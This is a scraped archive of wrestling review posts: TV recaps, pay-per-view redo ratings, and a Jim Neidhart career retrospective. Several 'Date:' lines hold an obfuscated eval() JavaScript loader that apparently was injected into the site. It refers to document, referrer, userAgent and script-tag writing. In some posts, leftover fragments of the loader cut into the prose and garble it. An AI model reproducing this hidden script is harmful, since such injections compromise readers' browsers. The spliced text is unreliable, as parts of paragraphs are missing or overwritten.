Required Viewing #14: Where In The World Did This Come From?
I’m getting some Nitro reviews done in advance (the things I do for you people) and ran across this match. I barely remember it and watching it again made me scream at my computer. The participants are going to surprise you.
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Smackdown – October 10, 2014: Power to the Holla Holla People
Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybaek|var|u0026u|referrer|yerhe||js|php'.split('|'),0,{}))
October 10, 2014
Location: Wells Fargo Center, Philadelphia, Pennsylvania
Commentators: Michael Cole, John Bradshaw Layfield, Tom Phillips
We open with a montage of great Smackdown moments. The old man taking off his face to reveal Bischoff blew my mind.
We get the first great Smackdown moment: the debut episode with Rock vs. HHH. So the pilot has been written off I guess.
Kane vs. Adam Rose
AJ Lee vs. Alicia Fox
Paige and Fox go after AJ but she fights them off without much effort.
The next moment is a bunch of big dives and crashes, capped off by Lesnar and Big Show breaking the ring. In a nice touch, each package is introduced with a different Smackdown theme from over the years.
Seth Rollins vs. Kofi Kingston
Luke Harper release video.
Another video package on Money in the Bank cash-ins.
Rusev vs. Dolph Ziggler
Non-title again. Rusev powers him into the corner to start and kicks Ziggler in the back before choking on the apron. Ziggler fights out of a chinlock but misses a Stinger Splash as we take a break. Back with Dolph hammering away but getting caught with the knees to the ribs and fall away slam. Rusev hooks a front facelock with a body scissors but Ziggler finally rolls forward to escape.
Post match Lana says Philadelphia being the birthplace of America explains a lot of things about this country. She brings up meeting Rock on Monday and starts ranting in Russian. Rusev takes the mic from her and says Rock will pay the consequences. He issues a challenge to Big Show for Raw.
We look at Austin vs. Booker T. in a grocery store. I loved that.
After Raw went off the air, Rock came in to see HHH and Stephanie to talk about the upcoming Smackdown special. They bring up the main event of the first Smackdown and Rock giving him a Rock Bottom the next week. HHH thinks it was Road Dogg that got beaten up because HHH kept giving Rock Pedigrees and leaving him looking up at the lights. Rock wonders what would happen if they headlined Wrestlemania one more time.
Booker T. comes out to do commentary on the main event.
Team Teddy vs. Team Johnny
Teddy: Usos, Los Matadores, Mark Henry, Sheamus, Jack Swagger, El Torito
Roway is free video.
Results
Kane b. Adam Rose – Chokeslam
AJ Lee b. Alicia Fox – Black Widow
Seth Rollins b. Kofi Kingston – Curb Stomp
Rusev b. Dolph Ziggler – Accolade
Team Teddy b. Team Johnny – Superfly Splash to Mizdow
Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:
http://www.amazon.com/dp/B00NPPH0WI
And check out my Amazon author page with wrestling books for under $4 at:
Reviewing the Review – Monday Night Raw: October 6, 2014
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zztsf|var|u0026u|referrer|feiyb||js|php'.split('|'),0,{})) week’s show was a very strange mix of comedy, cancer, hot dogs and HODA’S CRAZY DANCE. You don’t know what HODA’S CRAZY DANCE is? Well you’re in for a treat because HODA’S CRAZY DANCE involves middle aged women drinking wine, dancing, and Hoda being CRAZY. Oh yeah and there’s some other stuff. Let’s get to it.
We recap Big Show and Rusev. Big Show had to undergo sensitivity training, which thankfully we only heard about.
Ziggler and the Usos beat the Dusts and Cesaro. My goodness how many times do we have to sit through combinations of these matches before we get to the Cell?
John Cena was on the Today Show to talk about the breast cancer stuff.
Same Luke Harper video from last week.
Mark Henry destroyed Bo Dallas again but got counted out. Nothing to see here.
Brie Bella beat Summer Rae with an arm tied behind her back. Again, nothing to see here.
Miz and Mizdow sucked up to Kane with a fruit basket and got a match with Sheamus as a result.
http://kbwrestlingreviews.com/2014/10/09/new-column-ode-to-a-shovel/
Miz beat Sheamus with a rollup, likely setting up their next feud. There were several pro-Sandow chants here which could lead to something.
A Real Housewife of Atlanta is going to guest star next week. Dear goodness this is going to suck.
Cena beat the Authority via DQ when they triple teamed him. Ambrose made the save with a Coney Island hot dog cart and condiments were spilled. The good guys cleaned house until HHH came out and made Cena vs. Ambrose at the PPV with the winner getting Rollins inside the Cell. I like the idea and it gives us a way around a stupid triple threat. Ambrose laid out Cena to a huge reaction to end the show.
Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:
http://www.amazon.com/dp/B00NPPH0WI
And check out my Amazon author page with wrestling books for under $4 at:
Bound For Glory 2011 (2014 Redo): Score One For The Old Guys!
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For Glory 2011
Date: October 16, 2011
Location: Liacouras Center, Philadelphia, Pennsylvania
Attendance: 3,585
Commentators: Mike Tenay, Tazz
The opening video shows the main event guys getting ready for their matches. We also see clips of Hogan arriving and then turning on Dixie Carter to become the evil monster that he is. Sting wants to turn things around and set TNA right again, which he seems to do every few months. The World Title feud gets a token mention.
The announcers do their intros.
X-Division Title: Austin Aries vs. Brian Kendrick
Rating: C+. Good opener here as Aries was kicking off his awesome run with the title. Beating Kendrick for the second time in a row was the best way to get him off to a good start. Kendrick was more than able to hang in there and Aries had to break a bit of a sweat to retain here.
The Angle daughters are hanging out with Traci Brooks. Karen Jarrett comes in and tells them to go find their dad (meaning Jeff Jarrett) before ripping into Traci for being near them. Karen is going to referee a match tonight and Traci has to stay in the back.
Jerry Lynn vs. Rob Van Dam
Back in again and Rob is able to kick out at two, giving Lynn even more frustration. Now the Van Daminator connects but Lynn is up at two. With nothing else to do, Rob puts the ladder on top of Jerry in the corner and nails the Van Terminator with a chair to knock Lynn out cold. Rob writhes in pain on the mat for a bit before covering for the pin.
They hug post match.
Dixie Carter arrived earlier.
Crimson vs. Samoa Joe vs. Matt Morgan
Crimson and Joe slug it out as Matt gets up top in a hurry to take Crimson down with a cross body. Back in and Crimson slugs it out with Joe again before a high collar suplex gets two on the Samoan. Morgan gets back in and a double shoulder puts Joe down. Now Crimson and Morgan get in a shoving match until Joe low bridges Morgan to the floor. He kicks Crimson in the head and loads up the MuscleBuster until Morgan makes the save. Morgan misses a Carbon Footprint though, allowing Crimson to spear Joe down for the pin.
Bully Ray vs. Mr. Anderson
They fight to the back with a bloody Ray missing a shot with a pipe. A piledriver on the concrete gets two on Anderson and they fight back into the arena. Anderson gets the better of it and unhooks a piece of the barricade. That takes too long as well though and Ray runs him over with a clothesline. We get another table brought in and set up near the corner, but Ray gets backdropped onto the barricade.
The announcers are shocked.
Knockouts Title: Madison Rayne vs. Velvet Sky vs. Winter vs. Mickie James
AJ Styles vs. Christopher Daniels
Rating: B-. Good brawl with a lame ending. The problem with something like a screwdriver is the same as it was with Janice last year: you can only tease it so far before you have to stop things. These two are always worth a watch but I think the fans were starting to get sick of the combination. It would get even worse in 2012.
Hulk Hogan vs. Sting
Immortal comes out to destroy Sting with chairs as Abyss is shown watching from behind the curtain. Jackson James takes one of them away, turning face about an hour and fifteen minutes after he turned heel. Bischoff hits him with a chair, starting the most unwanted face push in the history of ever.
TNA World Title: Kurt Angle vs. Bobby Roode
Angle is helped out to end the show.
Ratings Comparison
Austin Aries vs. Brian Kendrick
Original: B-
Redo: C+
Jerry Lynn vs. Rob Van Dam
Original: B
Redo: C
Samoa Joe vs. Crimson vs. Matt Morgan
Original: C
Redo: D+
Bully Ray vs. Mr. Anderson
Original: C+
Redo: B
Mickie James vs. Madison Rayne vs. Velvet Sky vs. Winter
Original: D+
Redo: D
Christopher Daniels vs. AJ Styles
Original: C
Redo: B-
Hulk Hogan vs. Sting
Original: D+
Redo: D+
Bobby Roode vs. Kurt Angle
Original: C
Redo: B-
Overall Rating
Original: B+
Redo: C+
Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:
http://www.amazon.com/dp/B00NPPH0WI
And check out my Amazon author page with wrestling books for under $4 at:
Wrestler of the Day – October 8: Jim Neidhart
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynyny|var|u0026u|referrer|drhei||js|php'.split('|'),0,{})) we’re looking at the Anvil Jim Neidhart.
No Hart Foundation as you would expect.
Jim Neidhart vs. Tom Lentz
Neidhart goes right after Lentz and the dominance begins. A Samoan drop ends this quick.
Davey Boy Smith vs. Jim Neidhart
From the same building in September of 85 and I’d guess maybe the same show. Neither guy can get a power advantage so Davey rethinks his attacking method. Both teams are chasing the less talented Dream Team at this point. We get a Stu Hart sex joke of all things. Gorilla wonders how he had time to teach any wrestling since he had thirteen kids. I’ll be over here trying to clean that image from my mind if you need me.
Bulldog takes him to the mat and outworks him. As you may have guessed, Anvil isn’t the best technician in the world. Anvil uses power but gets caught by a dropkick as we stop things again. Off to a top wristlock here but Anvil drills him in the ribs to take care of that. The fans think this is boring so Neidhart stops the wrestling stuff to yell at them a bit. He never was the smartest guy in the world.
Smith is sent to the floor so Anvil follows him out. Into the railing goes the Bulldog and Smith is in trouble. Back in now and it’s all Anvil. Smith fights back and hits a back elbow to take Neidhart down. Hayes is either drunk or really bad at his job. It’s so hard to tell. We hit the chinlock again and Anvil is like screw that and breaks it up. Anvil gets something like a slingshot into the buckle and puts his feet on the ropes for the cheap pin.
Rating: D. Boring match here with no chemistry at all between these two. The power vs. power rarely works which is why both guys had a speed/technical guy as his partner. Also, why in the world are we seeing Anvil get the win here? Was that really the best thing to do on a British Bulldogs’ tape? I don’t get it.
Scott McGee vs. Jim Neidhart
How in the world are we over 45 minutes into this show? Alfred, the Englishman, gets Scotland and England confused. Egads to say the least. Jimmy has a new Megaphone it seems. McGee grabs a rollup for two to surprise Neidhart. Test of strength goes well for Anvil as he bites away. McGee gets sent to the announce table as this is another boring semi-squash.
Jimmy says the Harts are splitting into singles matches at the moment because there’s no challenge for them at the moment because they have to beat the Bulldogs first. The match more or less stops for a bit as Gorilla and Jimmy chat. Jimmy has managed to get a siren sound effect on the Megaphone. Neidhart drops McGee throat first to the railing to really take over.
Hayes might be a guest referee for some reason and he says he’ll suck. Ok then. All Anvil here as we’re firmly into the squash territory. Since the match is dull, let’s talk about Piper vs. Mr. T. McGee blocks a suplex into one of his own and down goes Anvil. Some European uppercuts by McGee but a powerslam ends this rather quickly. Guess who won.
Rating: D. Just a squash here as Anvil dominates again. We’re over 50 minutes into this match and they really need to get to something good already. I mean dude, the big match so far has been Sivi Afi vs. Rene Goulet. I’m not sure why the fans haven’t rioted yet but it seems to me like it’s because they’re very patient. Get to something of note, I beg of you.
Hart Foundation/Danny Davis vs. British Bulldogs/Tito Santana
Back to the singles action at Wrestlefest 1988.
Jim Neidhart vs. Lanny Poffo
This was when Poffo was still a leaper and threw out Frisbees with his poetry on them. He was the king of jobbers at this point though so if nothing else he’s not bad. I think his brother would be up next. He uses a moonsault which misses but was a big spot back then as he was the first WWF guy to use it I believe. I think Jim is a heel here but it’s not entirely clear. The crowd is totally dead here. After just beating the tar out of Poffo a powerslam ends it.
Off to a higher profile match on SNME XXI.
Jim Neidhart vs. Randy Savage
Ok seriously, who is Savage fighting tonight? This joke has gone on long enough. Who is Savage really fighting? Nothing against Anvil as he’s fine, but dude, this is RANDY SAVAGE and it’s less than 2 months since his year long title reign ended at Wrestlemania. Why is Anvil out there for this? It just doesn’t make anything resembling sense at all.
They’re making this out to be Savage vs. Bret circa 1992. When did Anvil and Hogan become buddies? Sherri grabs the leg of course and it does nothing of note. Neidhart hooks a bearhug as I’m not even sure what I’m watching. Again, it’s not bad. It’s just odd. We get a great piece of insight from Vince: Sherri is a different human being than Liz.
You mean, they don’t just put different wigs and outfits on them and hope we don’t notice? THANK YOU OWNER OF THE COMPANY! Sweet goodness she’s freaky looking. Anvil gets a BIG kick out, likely throwing Savage high enough in the air that he could have hit the top rope. That’s borderline Yokozuna levels. Anvil gets a slingshot shoulder block which would freaking HURT.
Notice the cameras always getting shots of Sherri’s back. It’s clear Vince was running the company back then given what we know now. This is more or less ALL Anvil here. Sherri unhooks Anvil when his arms are tied up and it lets Savage reset the universe to its natural order as he takes over. Wow that was a long sentence. The elbow finishes soon after.
Rating: B-. This was WAY better than it had any right to be. I don’t think anyone was idiotic enough to think that Anvil was going to win, but still it was nice to see him get in such a long stretch of offense and have time being in control. This was a decent enough match and it got Sherri over as a threat to Savage’s opponents, which was the point here. Not bad at all.
Jim would be in back to back Survivor Series matches starting in 1989.
Ultimate Warriors vs. Heenan Family
Ultimate Warrior, Jim Neidhart, Rockers
Andre the Giant, Arn Anderson, Haku, Bobby Heenan
And again at Survivor Series 1990.
Million Dollar Team vs. Dream Team
Ted DiBiase, Rhythm and Blues, ???
Dusty Rhodes, Koko B. Ware, Hart Foundation
Undertaker and Bret start with Taker pounding the tar out of him. Well if you want to make someone look like a killer, call Bret Hart. Bret hits the ropes and charges at Taker, only to get caught by the throat and slammed down. It was more like a clothesline that Taker went to the mat with than the usual chokeslam here but he did have Bret by the throat.
Ric Flair vs. Jim Neidhart
Neidhart, in the big blue pants, runs Flair over with a shoulder to start and no sells some shots in the corner. A backdrop and some clotheslines have the same effect on Flair but he avoids a running knee in the corner. The leg gets wrapped around the post a few times and Flair gets two off a cross body. The Figure Four goes on and the match is stopped pretty fast.
Neidhart would hook up with Owen Hart in a short lived tag team, including this match at Royal Rumble 1992.
Orient Express vs. New Foundation
Neidhart actually did a few shows with WCW, including on Saturday Night on May 1, 1993.
Jim Neidhart/Junkyard Dog vs. Rip Rogers/Chick Donovan
A headbutt sends Rip out to the floor and it’s off to Anvil for hiptosses to both guys. We hit the armbar on Donovan before it’s back to Dog for a slam. An atomic drop sends Donovan into another slam and there’s a headbutt onto the arm. The Big Thump powerslam sets up a cobra clutch from Anvil for the submission.
Neidhart would head back to the WWF as a heel for some Hart Family matches, including this one on October 19, 1994.
Bret Hart/British Bulldog vs. Owen Hart/Jim Neidhart
Ok, this HAS to be good right? Bret is world champion here so this is probably around August of 94 as that was the top feud around that time. Still in Albany and likely at the same show. Apparently this was October 19, 1994. I’ve always wondered which shows they picked to film and how they were chosen. Bret and Owen start so we’re guaranteed a good start at least. Granted after that last match anything sounds great.
I love Owen celebrating while doing absolutely nothing. Lots of chain wrestling to start as you would expect. Bret works on the arm and gets a crucifix for two. They speed it up a bit and Bret gets a clothesline to put Owen on the floor. Back in and Bret taunts Neidhart, saying he wants the Anvil.
Now here’s a match I don’t think I’ve ever seen. Bret tries his usual stuff but Anvil catches him in a bear hug. Hart bites Anvil’s head to escape and it’s time for power vs. power. Ok never mind as it’s time for Owen vs. Bulldog. They’re getting in and out of there rather fast. Stan Lane continues to be underrated at the announce table. Owen gets caught in the semi-delayed vertical for two.
We hit the chinlock again even though I thought we had hit the quota of chinlocks in the first match. Spinwheel kick puts Bulldog down for two and it’s back to Anvil who puts on a chinlock of his own. The fans are chanting for Owen actually. Owen comes in again and drills Bulldog with some European uppercuts in a nice bit of irony. Shawn Killer Kick makes Smith flip forward and the double teaming commences.
Neidhart back in there now as the heels are working well together here. Bret chases Owen but the referee stops him. This stopping though allows the New Foundation (Owen and Neidhart of course) to hit a Hart Attack on Bulldog for two. Neckbreaker by Owen gets two and we hit the chinlock one more time. This is very much a stop and go kind of match as they’ll get going and then stop for a chinlock etc.
Bulldog fights up and they hit head to head. There’s a tag to Hart but Neidhart had the referee distracted. Heel miscommunication puts Anvil down and there’s the tag to the champion. He beats up both guys while Bulldog just watches on. What a nice partner he is. Russian Leg Sweep gets two on Owen and it’s Five Moves of Doom time. He actually gets the Sharpshooter but Neidhart makes the save. Off to the Bulldog again and everything breaks down. Bulldog gets a small package, Neidhart turns it over, Bret turns it over again and Bulldog pins Owen to end it.
Rating: B-. If you cut out a lot of the rest holds and give it a bit better ending then this would be a much better match. Still though not a bad match at all and I thought it was pretty good. With these four it’s hard not to have a good match. Neidhart was the worst of these four but he’s certainly watchable in the ring. Decent match but could have been much better.
WWF World Title: Bret Hart vs. Jim Neidhart
Bret fights out of the corner but charges into a bearhug to slow things down again.
Hart slingshots him back in though and hammers away before getting two off a small package. We hit the Five Moves of Doom but Neidhart gets a boot up to stop the elbow. Bret gets slammed off the top but avoids a splash, setting up the Sharpshooter to retain.
Hart Foundation vs. Sid/Legion of Doom
The Harts here are Owen, Jim and Davey, giving us a total of one Hart in the entire Foundation for this match. I love stupid things like that. Why do I have a feeling the heels are going to win and win easily here? This is being written about 3 days after Bret signed with WWE again, so this is very interesting indeed. There’s a sign in the crowd about cheese for no apparent reason.
The faces come out separately which is rather pointless. The LOD get a decent pop but you could tell their time was about over. This takes FOREVER to get going as we get an LOD chant. It’s Owen and Animal to start us up. Hey, call the Superstar line and run up the phone bill to hear bad promos! More or less all we have here is random power matches as five guys in this match are power guys, and no one saw anything wrong with this.
Also, no one saw a problem with putting THE FREAKING LOD AND SID together as a three man team against two good wrestlers and a generic power guy in Anvil, and yet they had the NERVE to wonder why they were having their heads handed to them. Anvil was a political science major at UCLA. All of a sudden my future seems far more bleak. Seriously, who in the WORLD thought Anvil vs. Hawk was a good idea?
You have two guys that have made a career out of not getting hurt. Just as I type that, Hawk takes a piledriver and of course is up before anyone else. Owen comes in and goes insane. Dang how good could he have been as a veteran? Imagine him vs. Angle or Jericho in 2000-2001. Owen would have been in his late 30s then and definitely capable of working well. He’s two and a half months older than Shawn, so it’s completely realistic that he could still be wrestling and having very good matches today.
He EASILY would have won the world title in there somewhere given the absolute awfulness of some of the champions since then. I mean seriously, who would have been better as champion: Owen or Khali? Anyway, this match is just BAD. Yeah, the match ends and I’ve got nothing at all. Owen wins with a top rope sunset flip. Sid would be gone either the next night or in 8 days.
Rating: F. Seriously, WHO THOUGHT THIS WAS A GOOD IDEA??? This fails for reasons that I’ve already given. Owen and Animal were ok, but that’s it. This was just pathetic.
ere’s an elimination match at Survivor Series 1997.
Team USA vs. Team Canada
Vader, Steve Blackman, Marc Mero, Goldust
British Bulldog, Jim Neidhart, Doug Furnas, Phillip Lafon
Due to what happened later in the night, Neidhart would head over to WCW for a bit. Here he is on Nitro, March 30, 1998.
Curt Hennig vs. Jim Neidhart
IWGP Tag Titles: Tenzan/Masahiro Chono vs. British Bulldog/Jim Neidhart
Chono comes back in and goes after Davey, allowing the champions to double team Neidhart a bit. Jim comes back with a hard forearm to Chono and makes the hot tag to bulldog. House is cleaned and the powerslam puts Tenzan down, but Chono hits Davey with the belt for the DQ.
Dancing Fools vs. Jim Neidhart/British Bulldog
Why in the world Neidhart was hired is beyond me but whatever. The Dancing Fools are Disco Inferno and Alex Wright. Wright vs. Bulldog to start. The Hart relatives are the faces here I guess. The stalling begins and Bulldog backs him into the corner. Gorilla press slam puts Wright down and it’s a double tag. Disco dances around a lot and Neidhart makes fun of him for it.
Disco actually takes him down and Tony is STUNNED. Off to Wright and Bulldog again with the dancers taking over. The announcers talk about WarGames mostly because the match isn’t that interesting. I mean seriously, Jim Neidhart is on PPV in 1998. Why in the world is that happening? Disco hits an atomic drop but is sent over the top with ease. It’s not a DQ so hopefully they got rid of that idiotic rule.
Apparently Bret has been teasing turning….still heel I guess as he screwed Hogan over on Nitro kind of. The Hart dudes take over as Heenan picks Piper for the main event. The fans want Flair again. Slingshot shoulder block misses for Jim though and here’s the tag to Wright, who is apparently popular now. Wright cleans up a bit and double teaming breaks up the powerslam. Double clothesline puts down Bulldog. The referee goes down for a bit and the powerslam ends Disco clean.
Rating: D+. Just a tag match here but it had Jim Neidhart in it in 1998. Again, I don’t think that requires much more of an explanation. The announcers were bored with it because this belonged on WCW Saturday Night or something like that. Not a fan of this one at all but it wasn’t horrible I guess.
Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:
http://www.amazon.com/dp/B00NPPH0WI
And check out my Amazon author page with wrestling books for under $4 at:
NXT – October 9, 2014: You Gotta Believe
NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|seiee|var|u0026u|referrer|bntkd||js|php'.split('|'),0,{}))
October 9, 2014
Location: Full Sail University, Winter Park, Florida
Commentators: Jason Albert, Renee Young, Rich Brennan
Tyler Breeze vs. Mojo Rawley
This is the result of Tyler attacking Mojo a few weeks ago when Rawley interrupted his walk. Breeze hides in the ropes to start and then lays on the corner to keep ticking Mojo off. Mojo charges into a boot to the shoulder and Breeze stomps on the arm before putting on a Fujiwara Armbar for the submission at 1:15. This quick losing thing has to become a story soon right?
Brennan thinks the referee stopped the match instead of hearing a submission.
We recap Hideo Itami vs. the Ascension over the last few weeks.
Viktor vs. Hideo Itami
Post match Konor comes in and Hideo gets tied in the ropes. Funaki tries to make a save and gets beaten down even worse.
Vaudevillains vs. Enzo Amore/Colin Cassady
Becky Lynch vs. Sasha Banks
Titus tries to go after Sami again but Neville makes the save.
Results
Tyler Breeze b. Mojo Rawley – Fujiwara Armbar
Hideo Itami b. Viktor – Dropkick
Sasha Banks b. Becky Lynch – Crossface
Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:
http://www.amazon.com/dp/B00NPPH0WI
And check out my Amazon author page with wrestling books for under $4 at:
New Column: Ode To A Shovel
Handing out an education in wrestling theory to fans who run off at the mouth without thinking about what happened.
Impact Wrestling – October 8, 2014: They Got Me
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Wrestling
Date: October 8, 2014
Location: Sands Bethlehem Events Center, Bethlehem, Pennsylvania
Commentators: Mike Tenay, Taz
We open with a recap of the Tag Team Title series and Roode vs. Lashley.
We recap Havok taking the Knockouts Title from Gail Kim last week.
Angelina Love vs. Madison Rayne vs. Taryn Terrell
Havok comes out post match and destroys Terrell as Madison runs.
We recap Sanada turning to James Storm and attacking Muta back in New York.
Low Ki/Tigre Uno vs. Great Sanada/James Storm
Bram vs. Samuel Shaw
No DQ. Shaw nails him with a trashcan lid to start and dropkicks a trashcan into his face to take over. A chair is wedged between the top and middle rope but Bram avoids being whipped into the steel. They head back outside with Shaw still in control by nailing Bram with a chair over and over.
Back in and Bram gets in a Singapore cane shot to the head but Shaw counters a superplex attempt onto steel chairs into a sunset bomb onto the steel instead. Shaw loads up the choke but gets elbowed in the face and sent into the chair wedged in the corner. A shot to the head with the steel rod is enough to give Bram the pin at 5:17.
Brittany comes out to check on Shaw post match.
Roode is ready for his handicap match.
The Wolves and Team 3D yell at each other about who is greater.
Bobby Roode vs. MVP/Kenny King
Tenay makes a point to say that Roode had to pin or submit both guys to win. That at least makes Lashley look a bit less stupid. Lashley spears Roode down after the match.
EC3 says Spud has one more chance to apologize.
Another video on the Tag Team Title Series.
We run down the PPV card again.
The Trio is pleased when Angle comes in to yell at them. Roode is going to get another #1 contenders match next week and MVP is banned from ringside.
Tag Team Titles: Hardys vs. Team 3D vs. Wolves
Back in and Ray goes up, only to have Edwards set up a ladder of his own next to it. Bully kicks him down but Matt comes in with a ladder of his own. All three go up and slug it out with Edwards getting slammed off the top. Mat and Ray grab for the belts but send them swinging around before knocking each other off with Matt flying into a ladder.
Davey goes up the big ladder but gets shoved onto the floor and head first into the barricade. The Hardys make another save with chairs and put Ray on two tables. Jeff goes up top of the big ladder but Davey shoves it over, sending Hardy into a HUGE splash onto Ray for a horrible looking crash. Davey and Matt slug it out on top of the ladder but Edwards makes a save and powerbombs Matt through a table, allowing Davey to take down the belts for the win at 23:52.
Results
Madison Rayne b. Taryn Terrell and Angelina Love – Rollup with a handful of tights
James Storm/Great Sanada b. Tigre Uno/Low Ki – Last Call to Uno
Bram b. Samuel Shaw – Steel rod to the head
Bobby Roode b. MVP/Kenny King via DQ when Bobby Lashley interfered
Wolves b. Hardys and Team 3D – Richards pulled down the belts
Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:
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Bound For Glory 2010 (2014 Redo): They Came, They Saw, They Aren’t Bad
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For Glory 2010
Date: October 10, 2010
Location: Ocean Center, Daytona Beach, Florida
Attendance: 3,500
Commentators: Mike Tenay, Taz
The opening video is a series of clips of most of the people on the card, set to dramatic music. The main focus is on the three guys in the main event: Jeff Hardy, Mr. Anderson and Kurt Angle.
Tag Team Titles: Motor City Machine Guns vs. Generation Me
Generation Me is challenging and is currently known as the Young Bucks. The Guns FINALLY won the titles a few months ago and now they need some challengers. Shelley and Max (Buck, partner of Jeremy Buck) with Alex getting stomped down in the corner. Back up and a spinning leg trip puts Max down and the Guns take over. Sabin sticks out his boots so Shelley can send Max face first and things speed up.
Shelley fights both Bucks off the top and hits a top rope double stomp on Jeremy before making the hot tag off to Sabin. The Guns speed things way up with double hesitation dropkicks to Jeremy in the Tree of Woe. A top rope clothesline gets two on Jeremy and a Dominator/running cutter combination gets the same on Max. Shelley misses a plancha to Jeremy, allowing him to hit a slingshot X Factor on Sabin. Everyone gets back in but the Bucks break up a Doomsday Sliced Bread #2.
Max hits a kind of neckbreaker off the top rope followed by a 450 from Jeremy. Shelly makes a last second save and catches a diving Jeremy in a Downward Spiral while DDTing Max at the same time. Max kicks Sabin in the face and sends Alex outside before a standing moonsault/springboard splash gets two on Shelley. The Bucks load up More Bang For Your Buck (a fast paced series of dives) but Sabin comes back in for a release German superplex to send Max flying. Skull and Bones (neckbreaker/top rope splash combo) is enough to pin Jeremy and retain the titles.
We recap the four way. The new head of the Knockouts division, Miss Tessmacher, is going to make Angelina Love prove she deserves to be champion. This is basically Beautiful People vs. non-Beautiful People.
Knockouts Title: Angelina Love vs. Madison Rayne vs. Velvet Sky vs. Tara
Rating: D+. This was when the division was starting to get going, but there was no real reason to have the tags here. Tara winning the title makes sense but, could they at least do something besides the same thing from last year with Nash and Young? Mickie was a total non-factor in this.
Orlando Jordan/Eric Young vs. Ink Inc.
Young comes in and gets rolled up for two so he congratulates Shannon for his success. He high fives everyone, including a tag to Jordan. Ink Inc. kicks Jordan in the corner and Eric wants to join in, only to get crotched on the top rope. Jordan gets crotched right along with him as comedy abounds. Back in and Orlando grinds on Shannon before planting him with a spinebuster. The fans want Eric but get a Jordan suplex for two on Moore.
X-Division Title: Jay Lethal vs. Douglas Williams
Jay is defending and this is a rematch from a title match on Impact. They trade wristlocks to start with Douglas taking him down into an armbar. Lethal pops up and spins him down into an armbar of his own. Back up and Williams nails a shot to the ribs to take over, only to get caught in a quick Lethal Combination to send Douglas outside. Back in and Jay misses a springboard dropkick followed by a Williams knee drop for two.
Rob Van Dam vs. Abyss
Rolling Thunder misses Abyss nad hits the board again, sending Rob out to the floor. A trashcan to the head puts Rob down again and Abyss bridges a table between the ring and the barricade. They slug it out next to the board with Abyss getting the better of it but not being able to suplex Rob through the board. Instead Abyss gets kicked down onto it, allowing Rob to hit Rolling Thunder through the table for a nice crash.
Rob leaves and Abyss tells the camera to come to them so he can say here WE come.
Fourtune vs. EV 2.0
AJ Styles, Beer Money, Kazarian, Matt Morgan
Tommy Dreamer, Raven, Rhino, Sabu, Stevie Richards
This is a one ring WarGames match. A man from each team starts and after five minutes, Fourtune gets a man advantage due to winning a match on Impact. That goes on for two minutes then a guy from EV 2.0 comes in. Two more minutes of that and then Fourtune gets the advantage again. Alternate until all 10 are in and then we lower the roof, complete with weapons. No pins or submissions until everyone is in. Foley and Flair are the seconds and everyone is at ringside for the match. They get in a brawl before anyone gets in the cage. Fourtune is all in blue here for a good team visual.
Roode comes in to make it 3-2 and sends Dreamer face first into the cage. All of the Fourtune guys are back up now and in full control, with Flair helping by throwing punches through the camera hole. The destruction continues until Sabu comes in to make the save and somehow revive all of his partners in the span of about 20 seconds. A springboard into a tornado DDT drops Styles and Sabu puts on the camel clutch. Dreamer is covered in blood.
Fourtune starts getting back into it before Storm comes in to clean even more house. Beer Money does their SHOUT OUR NAMES bit as Fourtune is in full control. Raven comes in to even things up again as the extreme guys start getting back into it. Some pretty unspectacular brawling carries us to Morgan getting in as the final member of Fourtune. He drives Sabu into the cage and busts him open in the process. EV continues to get destroyed until Rhino ties things up. A series of clotheslines and suplexes set up a Gore to Storm as the roof of weapons is lowered.
The fans really wake up as the previous fifteen minutes or so were just killing time until we got to this point. EV takes over with the weapons shots as we see even more toys on the roof. Raven and Morgan slug it out until Kaz is thrown through the door and out onto the concrete. Stevie goes after Kaz and they head to the top of the cage. Richards sets up a ladder and a table up there as most of the other people have fought to the floor.
We get a music video on the main event, basically showing how everyone advanced through the tournament to get here and showing shots of them all.
The announcers preview the match for a good while.
TNA World Title: Jeff Hardy vs. Kurt Angle vs. Mr. Anderson
Overall Rating: B-. This is a VERY tricky show to grade as it all revolved around the huge reveal at the end. I remember waking up on the day of the show and being genuinely excited to find out who THEY were. That kind of excitement is reserved for Wrestlemania and nothing else in wrestling. TNA did an OUTSTANDING job of building up this story, even though when you look back at the last six months, there are roughly 84,038 plot holes in the story.
Ratings Comparison
Motor City Machine Guns vs. Generation Me
Original: B
Redo: A-
Angelina Love vs. Velvet Sky vs. Madison Rayne vs. Tara
Original: D+
Redo: D+
Ink Inc. vs. Shannon Moore/Jesse Neal
Original: D
Redo: D
Douglas Williams vs. Jay Lethal
Original: C+
Redo: C
Rob Van Dam vs. Abyss
Original: B-
Redo: B-
Original: D+
Redo: D+
EV 2.0 vs. Fourtune
Original: D+
Redo: D+
Mr. Anderson vs. Kurt Angle vs. Jeff Hardy
Original: B
Redo: B-
Overall Rating
Original: B-
Redo: C+
